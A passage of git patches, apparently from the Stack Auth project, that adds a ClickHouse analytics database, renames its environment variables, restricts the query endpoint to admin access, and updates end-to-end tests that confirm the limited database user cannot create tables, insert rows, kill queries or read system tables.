   StripeAccountInfoNotFound,
   DataVaultStoreDoesNotExist,
   DataVaultStoreHashedKeyDoesNotExist,
+  AnalyticsQueryTimeout,
+  AnalyticsQueryError,
 } satisfies Record<string, KnownErrorConstructor<any, any>>;
 
 
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index ab7aecd557..c90039c587 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -114,6 +114,9 @@ importers:
       '@aws-sdk/client-s3':
         specifier: ^3.855.0
         version: 3.864.0
+      '@clickhouse/client':
+        specifier: ^1.14.0
+        version: 1.14.0
       '@next/bundle-analyzer':
         specifier: 15.2.3
         version: 15.2.3
@@ -3208,6 +3211,13 @@ packages:
   '@chevrotain/utils@11.0.3':
     resolution: {integrity: sha512-YslZMgtJUyuMbZ+aKvfF3x1f5liK4mWNxghFRv7jqRR9C3R3fAOGTTKvxXDa2Y1s9zSbcpuO0cAxDYsc9SrXoQ==}
 
+  '@clickhouse/client-common@1.14.0':
+    resolution: {integrity: sha512-CyUcv2iCkZ1A++vmOSufYRpHR3aAWVfbrWed7ATzf0yyx/BW/2SEqlL07vBpSRa3BIkQe/DSOHVv8JkWZpUOwQ==}
+
+  '@clickhouse/client@1.14.0':
+    resolution: {integrity: sha512-co2spjR7wZoZ3Ck0H/jv76bpiuO3oJHtOmq9/gxFiod2DcT9NFg01u/hXcG8MJFnEJuMB6e3vGqS6IOnLwHqRw==}
+    engines: {node: '>=16'}
+
   '@date-fns/tz@1.2.0':
     resolution: {integrity: sha512-LBrd7MiJZ9McsOgxqWX7AaxrDjcFVjWH/tIKJd7pnR7McaslGYOP1QmmiBXdJH/H/yLCT+rcQ7FaPBUxRGUtrg==}
 
@@ -19465,6 +19475,12 @@ snapshots:
 
   '@chevrotain/utils@11.0.3': {}
 
+  '@clickhouse/client-common@1.14.0': {}
+
+  '@clickhouse/client@1.14.0':
+    dependencies:
+      '@clickhouse/client-common': 1.14.0
+
   '@date-fns/tz@1.2.0': {}
 
   '@discoveryjs/json-ext@0.5.7': {}

From 41287db62997e2a54a1084037a90136517fcbbe5 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Wed, 26 Nov 2025 10:15:40 -0800
Subject: [PATCH 02/25] fix clickhouse env vars

---
 .github/workflows/docker-server-test.yaml     |  6 ++++++
 apps/backend/.env.development                 | 12 ++++++------
 apps/backend/scripts/clickhouse-migrations.ts |  2 +-
 apps/backend/src/lib/clickhouse.tsx           | 12 ++++++------
 docker/server/.env.example                    |  4 ++++
 5 files changed, 23 insertions(+), 13 deletions(-)

diff --git a/.github/workflows/docker-server-test.yaml b/.github/workflows/docker-server-test.yaml
index 0123fc50ef..852c6926e2 100644
--- a/.github/workflows/docker-server-test.yaml
+++ b/.github/workflows/docker-server-test.yaml
@@ -23,6 +23,12 @@ jobs:
           sleep 5
           docker logs db
 
+      - name: Setup clickhouse
+        run: |
+          docker run -d --name clickhouse -e CLICKHOUSE_DB=analytics -e CLICKHOUSE_USER=stackframe -e CLICKHOUSE_PASSWORD=password -p 8133:8123 clickhouse/clickhouse-server:25.10
+          sleep 5
+          docker logs clickhouse
+
       - name: Build Docker image
         run: docker build -f docker/server/Dockerfile -t server .
 
diff --git a/apps/backend/.env.development b/apps/backend/.env.development
index 312e599c26..10750a6f86 100644
--- a/apps/backend/.env.development
+++ b/apps/backend/.env.development
@@ -72,9 +72,9 @@ STACK_QSTASH_CURRENT_SIGNING_KEY=sig_7kYjw48mhY7kAjqNGcy6cr29RJ6r
 STACK_QSTASH_NEXT_SIGNING_KEY=sig_5ZB6DVzB1wjE8S6rZ7eenA8Pdnhs
 
 # Clickhouse
-CLICKHOUSE_URL=http://localhost:${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}33
-CLICKHOUSE_ADMIN_USER=stackframe
-CLICKHOUSE_ADMIN_PASSWORD=PASSWORD-PLACEHOLDER--9gKyMxJeMx
-CLICKHOUSE_EXTERNAL_USER=limited_user
-CLICKHOUSE_EXTERNAL_PASSWORD=PASSWORD-PLACEHOLDER--EZeHscBMzE
-CLICKHOUSE_DATABASE=analytics
+STACK_CLICKHOUSE_URL=http://localhost:${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}33
+STACK_CLICKHOUSE_ADMIN_USER=stackframe
+STACK_CLICKHOUSE_ADMIN_PASSWORD=PASSWORD-PLACEHOLDER--9gKyMxJeMx
+STACK_CLICKHOUSE_EXTERNAL_USER=limited_user
+STACK_CLICKHOUSE_EXTERNAL_PASSWORD=PASSWORD-PLACEHOLDER--EZeHscBMzE
+STACK_CLICKHOUSE_DATABASE=analytics
diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index 99b9b1b5e3..782ede3174 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -4,7 +4,7 @@ import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
 export async function runClickhouseMigrations() {
   console.log("Running Clickhouse migrations...");
   const client = createClickhouseClient("admin");
-  const clickhouseExternalPassword = getEnvVariable("CLICKHOUSE_EXTERNAL_PASSWORD");
+  const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
   // todo: create migration files
   await client.exec({
     query: "CREATE USER IF NOT EXISTS limited_user IDENTIFIED WITH plaintext_password BY {clickhouseExternalPassword:String}",
diff --git a/apps/backend/src/lib/clickhouse.tsx b/apps/backend/src/lib/clickhouse.tsx
index 86184f439d..19173eac3f 100644
--- a/apps/backend/src/lib/clickhouse.tsx
+++ b/apps/backend/src/lib/clickhouse.tsx
@@ -1,12 +1,12 @@
 import { createClient, type ClickHouseClient } from "@clickhouse/client";
 import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
 
-const clickhouseUrl = getEnvVariable("CLICKHOUSE_URL");
-const clickhouseAdminUser = getEnvVariable("CLICKHOUSE_ADMIN_USER");
-const clickhouseExternalUser = getEnvVariable("CLICKHOUSE_EXTERNAL_USER");
-const clickhouseAdminPassword = getEnvVariable("CLICKHOUSE_ADMIN_PASSWORD");
-const clickhouseExternalPassword = getEnvVariable("CLICKHOUSE_EXTERNAL_PASSWORD");
-const clickhouseDatabase = getEnvVariable("CLICKHOUSE_DATABASE");
+const clickhouseUrl = getEnvVariable("STACK_CLICKHOUSE_URL");
+const clickhouseAdminUser = getEnvVariable("STACK_CLICKHOUSE_ADMIN_USER", "stackframe");
+const clickhouseExternalUser = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_USER", "limited_user");
+const clickhouseAdminPassword = getEnvVariable("STACK_CLICKHOUSE_ADMIN_PASSWORD");
+const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
+const clickhouseDatabase = getEnvVariable("STACK_CLICKHOUSE_DATABASE", "analytics");
 
 export function createClickhouseClient(authType: "admin" | "external", timeoutMs?: number) {
   return createClient({
diff --git a/docker/server/.env.example b/docker/server/.env.example
index 1c77588d4a..d2a848c9fe 100644
--- a/docker/server/.env.example
+++ b/docker/server/.env.example
@@ -15,3 +15,7 @@ STACK_RUN_MIGRATIONS=true
 STACK_RUN_SEED_SCRIPT=true
 
 STACK_FREESTYLE_API_KEY=
+
+STACK_CLICKHOUSE_URL=http://localhost:8133
+STACK_CLICKHOUSE_ADMIN_PASSWORD=password
+STACK_CLICKHOUSE_EXTERNAL_PASSWORD=password

From 132022126799b4d3da45c7d0294e27bb2177f36d Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Wed, 26 Nov 2025 10:37:34 -0800
Subject: [PATCH 03/25] fix docker server test

---
 docker/server/.env.example | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker/server/.env.example b/docker/server/.env.example
index d2a848c9fe..6b8ff24c97 100644
--- a/docker/server/.env.example
+++ b/docker/server/.env.example
@@ -16,6 +16,6 @@ STACK_RUN_SEED_SCRIPT=true
 
 STACK_FREESTYLE_API_KEY=
 
-STACK_CLICKHOUSE_URL=http://localhost:8133
+STACK_CLICKHOUSE_URL=http://host.docker.internal:8133
 STACK_CLICKHOUSE_ADMIN_PASSWORD=password
 STACK_CLICKHOUSE_EXTERNAL_PASSWORD=password

From dfb024521e05a61b6ae1eec0ec24c41313cd5de8 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Wed, 26 Nov 2025 10:45:59 -0800
Subject: [PATCH 04/25] fix default access management for docker test

---
 .github/workflows/docker-server-test.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/docker-server-test.yaml b/.github/workflows/docker-server-test.yaml
index 852c6926e2..ac83d49351 100644
--- a/.github/workflows/docker-server-test.yaml
+++ b/.github/workflows/docker-server-test.yaml
@@ -25,7 +25,7 @@ jobs:
 
       - name: Setup clickhouse
         run: |
-          docker run -d --name clickhouse -e CLICKHOUSE_DB=analytics -e CLICKHOUSE_USER=stackframe -e CLICKHOUSE_PASSWORD=password -p 8133:8123 clickhouse/clickhouse-server:25.10
+          docker run -d --name clickhouse -e CLICKHOUSE_DB=analytics -e CLICKHOUSE_USER=stackframe -e CLICKHOUSE_PASSWORD=password -e CLICKHOUSE_DEFAULT_ACCESS_MANAGEMENT=1 -p 8133:8123 clickhouse/clickhouse-server:25.10
           sleep 5
           docker logs clickhouse
 

From 90cc6a9da85b1bf8b7eace4e72e3914027680947 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Mon, 1 Dec 2025 09:20:27 -0800
Subject: [PATCH 05/25] remove unused table

---
 apps/backend/scripts/clickhouse-migrations.ts | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index 2975a532f5..0b2c861352 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -22,18 +22,3 @@ export async function runClickhouseMigrations() {
   console.log("Clickhouse migrations complete");
   await client.close();
 }
-
-
-
-const EVENTS_TABLE_BASE_SQL = `
-CREATE TABLE IF NOT EXISTS events (
-    event_id    UUID DEFAULT generateUUIDv4(),
-    event_type  LowCardinality(String),
-    event_at    DateTime64(3, 'UTC'),
-    data        JSON,
-    created_at DateTime64(3, 'UTC') DEFAULT now64(3)
-)
-ENGINE MergeTree
-PARTITION BY toYYYYMM(event_at)
-ORDER BY (event_at, event_type);
-`;

From 688c9ce8fab65d9a88760b7a17e704cd0d1c2d25 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Wed, 17 Dec 2025 11:00:41 -0800
Subject: [PATCH 06/25] small fixes

---
 apps/backend/scripts/clickhouse-migrations.ts | 10 +--
 .../analytics/query/route.ts}                 | 18 ++---
 apps/backend/src/lib/clickhouse.tsx           |  9 ++-
 apps/dev-launchpad/public/index.html          | 11 +--
 .../endpoints/api/v1/analytics-query.test.ts  | 77 +++++++++----------
 docker/dependencies/docker.compose.yaml       |  2 +-
 6 files changed, 56 insertions(+), 71 deletions(-)
 rename apps/backend/src/app/api/latest/{analytics/query/route.tsx => internal/analytics/query/route.ts} (74%)

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index 0b2c861352..f6d85dbaf8 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -1,9 +1,9 @@
-import { createClickhouseClient } from "@/lib/clickhouse";
+import { clickhouseAdminClient } from "@/lib/clickhouse";
 import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
 
 export async function runClickhouseMigrations() {
-  console.log("Running Clickhouse migrations...");
-  const client = createClickhouseClient("admin");
+  console.log("[Clickhouse] Running Clickhouse migrations...");
+  const client = clickhouseAdminClient;
   const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
   // todo: create migration files
   await client.exec({
@@ -16,9 +16,9 @@ export async function runClickhouseMigrations() {
     "REVOKE CREATE, ALTER, DROP, INSERT ON *.* FROM limited_user;"
   ];
   for (const query of queries) {
-    console.log(query);
+    console.log("[Clickhouse] " + query);
     await client.exec({ query });
   }
-  console.log("Clickhouse migrations complete");
+  console.log("[Clickhouse] Clickhouse migrations complete");
   await client.close();
 }
diff --git a/apps/backend/src/app/api/latest/analytics/query/route.tsx b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
similarity index 74%
rename from apps/backend/src/app/api/latest/analytics/query/route.tsx
rename to apps/backend/src/app/api/latest/internal/analytics/query/route.ts
index ab372f6bb6..5d8f938767 100644
--- a/apps/backend/src/app/api/latest/analytics/query/route.tsx
+++ b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
@@ -1,19 +1,15 @@
-import { createClickhouseClient, getQueryTimingStats } from "@/lib/clickhouse";
+import { clickhouseExternalClient, getQueryTimingStats } from "@/lib/clickhouse";
 import { createSmartRouteHandler } from "@/route-handlers/smart-route-handler";
 import { KnownErrors } from "@stackframe/stack-shared";
-import { adaptSchema, jsonSchema, serverOrHigherAuthTypeSchema, yupBoolean, yupMixed, yupNumber, yupObject, yupRecord, yupString } from "@stackframe/stack-shared/dist/schema-fields";
+import { adaptSchema, jsonSchema, adminAuthTypeSchema, yupBoolean, yupMixed, yupNumber, yupObject, yupRecord, yupString } from "@stackframe/stack-shared/dist/schema-fields";
 import { Result } from "@stackframe/stack-shared/dist/utils/results";
 import { randomUUID } from "crypto";
 
 export const POST = createSmartRouteHandler({
-  metadata: {
-    summary: "Execute analytics query",
-    description: "Execute a ClickHouse query against the analytics database",
-    tags: ["Analytics"],
-  },
+  metadata: { hidden: true },
   request: yupObject({
     auth: yupObject({
-      type: serverOrHigherAuthTypeSchema,
+      type: adminAuthTypeSchema,
       tenancy: adaptSchema,
     }).defined(),
     body: yupObject({
@@ -35,7 +31,7 @@ export const POST = createSmartRouteHandler({
     }).defined(),
   }),
   async handler({ body, auth }) {
-    const client = createClickhouseClient("external", body.timeout_ms);
+    const client = clickhouseExternalClient;
     const queryId = randomUUID();
     const resultSet = await Result.fromPromise(client.query({
       query: body.query,
@@ -43,15 +39,13 @@ export const POST = createSmartRouteHandler({
       query_params: body.params,
       clickhouse_settings: {
         SQL_tenancy_id: auth.tenancy.id,
+        max_execution_time: body.timeout_ms / 1000,
       },
       format: "JSONEachRow",
     }));
 
     if (resultSet.status === "error") {
       const message = resultSet.error instanceof Error ? resultSet.error.message : null;
-      if (message === "Timeout error.") {
-        throw new KnownErrors.AnalyticsQueryTimeout(body.timeout_ms);
-      }
       throw new KnownErrors.AnalyticsQueryError(message ?? "Unknown error");
     }
 
diff --git a/apps/backend/src/lib/clickhouse.tsx b/apps/backend/src/lib/clickhouse.tsx
index 19173eac3f..785db49d64 100644
--- a/apps/backend/src/lib/clickhouse.tsx
+++ b/apps/backend/src/lib/clickhouse.tsx
@@ -1,5 +1,6 @@
 import { createClient, type ClickHouseClient } from "@clickhouse/client";
 import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
+import { StackAssertionError } from "@stackframe/stack-shared/dist/utils/errors";
 
 const clickhouseUrl = getEnvVariable("STACK_CLICKHOUSE_URL");
 const clickhouseAdminUser = getEnvVariable("STACK_CLICKHOUSE_ADMIN_USER", "stackframe");
@@ -8,16 +9,17 @@ const clickhouseAdminPassword = getEnvVariable("STACK_CLICKHOUSE_ADMIN_PASSWORD"
 const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
 const clickhouseDatabase = getEnvVariable("STACK_CLICKHOUSE_DATABASE", "analytics");
 
-export function createClickhouseClient(authType: "admin" | "external", timeoutMs?: number) {
+export function createClickhouseClient(authType: "admin" | "external") {
   return createClient({
     url: clickhouseUrl,
     username: authType === "admin" ? clickhouseAdminUser : clickhouseExternalUser,
     password: authType === "admin" ? clickhouseAdminPassword : clickhouseExternalPassword,
     database: clickhouseDatabase,
-    request_timeout: timeoutMs,
   });
 }
 
+export const clickhouseAdminClient = createClickhouseClient("admin");
+export const clickhouseExternalClient = createClickhouseClient("external");
 
 export const getQueryTimingStats = async (client: ClickHouseClient, queryId: string) => {
   // Flush logs to ensure system.query_log has latest query result.
@@ -51,6 +53,9 @@ export const getQueryTimingStats = async (client: ClickHouseClient, queryId: str
     cpu_time_ms: number,
     wall_clock_time_ms: number,
   }>();
+  if (stats.data.length !== 1) {
+    throw new StackAssertionError("Unexpected number of query log results", { data: stats.data });
+  }
   return stats.data[0];
 };
 
diff --git a/apps/dev-launchpad/public/index.html b/apps/dev-launchpad/public/index.html
index 2f19192897..2514126da5 100644
--- a/apps/dev-launchpad/public/index.html
+++ b/apps/dev-launchpad/public/index.html
@@ -129,7 +129,6 @@ <h2 style="margin-top: 64px;">Background services</h2>
         { suffix: "22", label: "Freestyle mock" },
         { suffix: "24", label: "LocalStack Gateway (AWS mock)" },
         { suffix: "25", label: "QStash mock" },
-        { suffix: "33", label: "ClickHouse" },
         { range: ["50", "99"], label: "Reserved for LocalStack (external services)" },
       ];
 
@@ -289,7 +288,7 @@ <h2 style="margin-top: 64px;">Background services</h2>
         },
         {
           name: "Drizzle Gateway",
-          portSuffix: "33",
+          portSuffix: "35",
           description: [
             "Manage Drizzle configs",
           ],
@@ -318,14 +317,6 @@ <h2 style="margin-top: 64px;">Background services</h2>
           importance: 1,
           img: "https://thumbs.bfldr.com/at/qkjfv3nvsv4rbwn94zmtb4t/v/1197417003?expiry=1764357242&fit=bounds&height=800&sig=NjEwNzA0OThjZmJiZDQzZmUwNjIyY2UxYzZiNGYxNmQ3NjJiYjc0OA%3D%3D&width=1100",
         },
-        {
-          name: "MCPJam Inspector",
-          portSuffix: "26",
-          importance: 1,
-          description: [
-            "MCP tool inspector",
-          ],
-        },
         {
           name: "Convex example",
           portSuffix: "27",
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index 6f8c092d43..b3f6915e40 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -1,13 +1,13 @@
 import { it } from "../../../../helpers";
 import { Auth, Project, niceBackendFetch } from "../../../backend-helpers";
 
-it("can execute a basic query with server access", async ({ expect }) => {
+it("can execute a basic query with admin access", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "SELECT 1 as value",
     },
@@ -32,9 +32,9 @@ it("can execute a query with parameters", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "SELECT {test_param:String} as value",
       params: {
@@ -62,9 +62,9 @@ it("can execute a query with custom timeout", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "SELECT 1 as value",
       timeout_ms: 5000,
@@ -87,9 +87,9 @@ it("validates required query field", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {},
   });
 
@@ -100,12 +100,12 @@ it("validates required query field", async ({ expect }) => {
         "code": "SCHEMA_ERROR",
         "details": {
           "message": deindent\`
-            Request validation failed on POST /api/v1/analytics/query:
+            Request validation failed on POST /api/v1/internal/analytics/query:
               - body.query must be defined
           \`,
         },
         "error": deindent\`
-          Request validation failed on POST /api/v1/analytics/query:
+          Request validation failed on POST /api/v1/internal/analytics/query:
             - body.query must be defined
         \`,
       },
@@ -121,9 +121,9 @@ it("handles invalid SQL query", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "INVALID SQL QUERY",
     },
@@ -151,9 +151,9 @@ it("can execute query returning multiple rows", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "SELECT arrayJoin([0, 1, 2]) AS number",
     },
@@ -182,9 +182,9 @@ it("can execute query with multiple parameters", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "SELECT {param1:String} as col1, {param2:String} as col2",
       params: {
@@ -218,38 +218,33 @@ it("can execute query and hit custom timeout", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "SELECT sleep(3)",
       timeout_ms: 100,
     },
   });
 
-  expect(response).toMatchInlineSnapshot(`
-    NiceResponse {
-      "status": 400,
-      "body": {
-        "code": "ANALYTICS_QUERY_TIMEOUT",
-        "details": { "timeout_ms": 100 },
-        "error": "The query timed out. Please try again with a shorter query or increase the timeout. Timeout was 100ms.",
-      },
-      "headers": Headers {
-        "x-stack-known-error": "ANALYTICS_QUERY_TIMEOUT",
-        <some fields may have been hidden>,
-      },
+  expect(response.status).toBe(400);
+  expect(response.headers).toMatchInlineSnapshot(`
+    Headers {
+      "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+      <some fields may have been hidden>,
     }
   `);
+  expect(response.body.code).toBe("ANALYTICS_QUERY_ERROR");
+  
 });
 
 it("sets SQL_tenancy_id setting in query", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "SELECT getSetting('SQL_tenancy_id') AS tenancy_id;",
     },
@@ -275,9 +270,9 @@ it("does not allow CREATE TABLE", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "CREATE TABLE IF NOT EXISTS test_table (id UUID) ENGINE = MergeTree() ORDER BY id;",
     },
@@ -304,9 +299,9 @@ it("does not allow querying system tables", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "SELECT number FROM system.numbers LIMIT 1",
     },
@@ -333,9 +328,9 @@ it("does not allow killing queries", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "KILL QUERY WHERE query_id = '00000000-0000-0000-0000-000000000000'",
     },
@@ -362,9 +357,9 @@ it("does not allow INSERT statements", async ({ expect }) => {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
   await Auth.Otp.signIn();
 
-  const response = await niceBackendFetch("/api/v1/analytics/query", {
+  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
-    accessType: "server",
+    accessType: "admin",
     body: {
       query: "INSERT INTO system.one (dummy) VALUES (0)",
     },
diff --git a/docker/dependencies/docker.compose.yaml b/docker/dependencies/docker.compose.yaml
index 905ee49e06..7c543272d6 100644
--- a/docker/dependencies/docker.compose.yaml
+++ b/docker/dependencies/docker.compose.yaml
@@ -230,7 +230,7 @@ services:
     image: ghcr.io/drizzle-team/gateway:latest
     restart: always
     ports:
-      - "${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}33:1133"
+      - "${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}35:1133"
     environment:
       PORT: 1133
       STORE_PATH: /app

From 44a34960f8c3876af07aa5982dabd330d6ed7b41 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Wed, 17 Dec 2025 11:29:45 -0800
Subject: [PATCH 07/25] fix lint

---
 apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index b3f6915e40..59e2d5bdb1 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -235,7 +235,7 @@ it("can execute query and hit custom timeout", async ({ expect }) => {
     }
   `);
   expect(response.body.code).toBe("ANALYTICS_QUERY_ERROR");
-  
+
 });
 
 it("sets SQL_tenancy_id setting in query", async ({ expect }) => {

From 63da7064d3d22958feec119b30f33c8a7d50653c Mon Sep 17 00:00:00 2001
From: BilalG1 <bg2002@gmail.com>
Date: Thu, 18 Dec 2025 10:13:21 -0800
Subject: [PATCH 08/25] Clickhouse events (#1038)

<!--

Make sure you've read the CONTRIBUTING.md guidelines:
https://github.com/stack-auth/stack-auth/blob/dev/CONTRIBUTING.md

-->
---
 apps/backend/scripts/clickhouse-migrations.ts |  29 +-
 apps/backend/scripts/db-migrations.ts         |   5 +
 .../latest/internal/analytics/query/route.ts  |   7 +-
 .../clickhouse/migrate-events/route.tsx       | 208 ++++++++++++++
 apps/backend/src/lib/clickhouse.tsx           |   8 +-
 apps/backend/src/lib/events.tsx               |  39 ++-
 apps/backend/src/lib/tokens.tsx               |   1 +
 .../clickhouse-migration/page-client.tsx      | 269 ++++++++++++++++++
 .../[projectId]/clickhouse-migration/page.tsx |   9 +
 .../endpoints/api/v1/analytics-events.test.ts | 150 ++++++++++
 .../endpoints/api/v1/analytics-query.test.ts  |  11 +-
 .../src/interface/admin-interface.ts          |  39 +++
 12 files changed, 763 insertions(+), 12 deletions(-)
 create mode 100644 apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
 create mode 100644 apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page-client.tsx
 create mode 100644 apps/dashboard/src/app/(main)/(protected)/projects/[projectId]/clickhouse-migration/page.tsx
 create mode 100644 apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index f6d85dbaf8..8510734b3f 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -5,20 +5,43 @@ export async function runClickhouseMigrations() {
   console.log("[Clickhouse] Running Clickhouse migrations...");
   const client = clickhouseAdminClient;
   const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
-  // todo: create migration files
   await client.exec({
     query: "CREATE USER IF NOT EXISTS limited_user IDENTIFIED WITH plaintext_password BY {clickhouseExternalPassword:String}",
     query_params: { clickhouseExternalPassword },
   });
+  // todo: create migration files
+  await client.exec({ query: EVENTS_TABLE_BASE_SQL });
+  await client.exec({
+    query: "CREATE ROW POLICY IF NOT EXISTS events_project_isolation ON events FOR SELECT USING project_id = getSetting('SQL_project_id') AND branch_id = getSetting('SQL_branch_id') TO limited_user",
+  });
   const queries = [
-    "GRANT SELECT ON analytics.allowed_table1 TO limited_user;",
+    "GRANT SELECT ON analytics.events TO limited_user;",
     "REVOKE ALL ON system.* FROM limited_user;",
     "REVOKE CREATE, ALTER, DROP, INSERT ON *.* FROM limited_user;"
   ];
   for (const query of queries) {
-    console.log("[Clickhouse] " + query);
     await client.exec({ query });
   }
   console.log("[Clickhouse] Clickhouse migrations complete");
   await client.close();
 }
+
+const EVENTS_TABLE_BASE_SQL = `
+CREATE TABLE IF NOT EXISTS events (
+    event_type       LowCardinality(String),
+    event_at         DateTime64(3, 'UTC'),
+    data             JSON,
+    project_id       String,
+    branch_id        String,
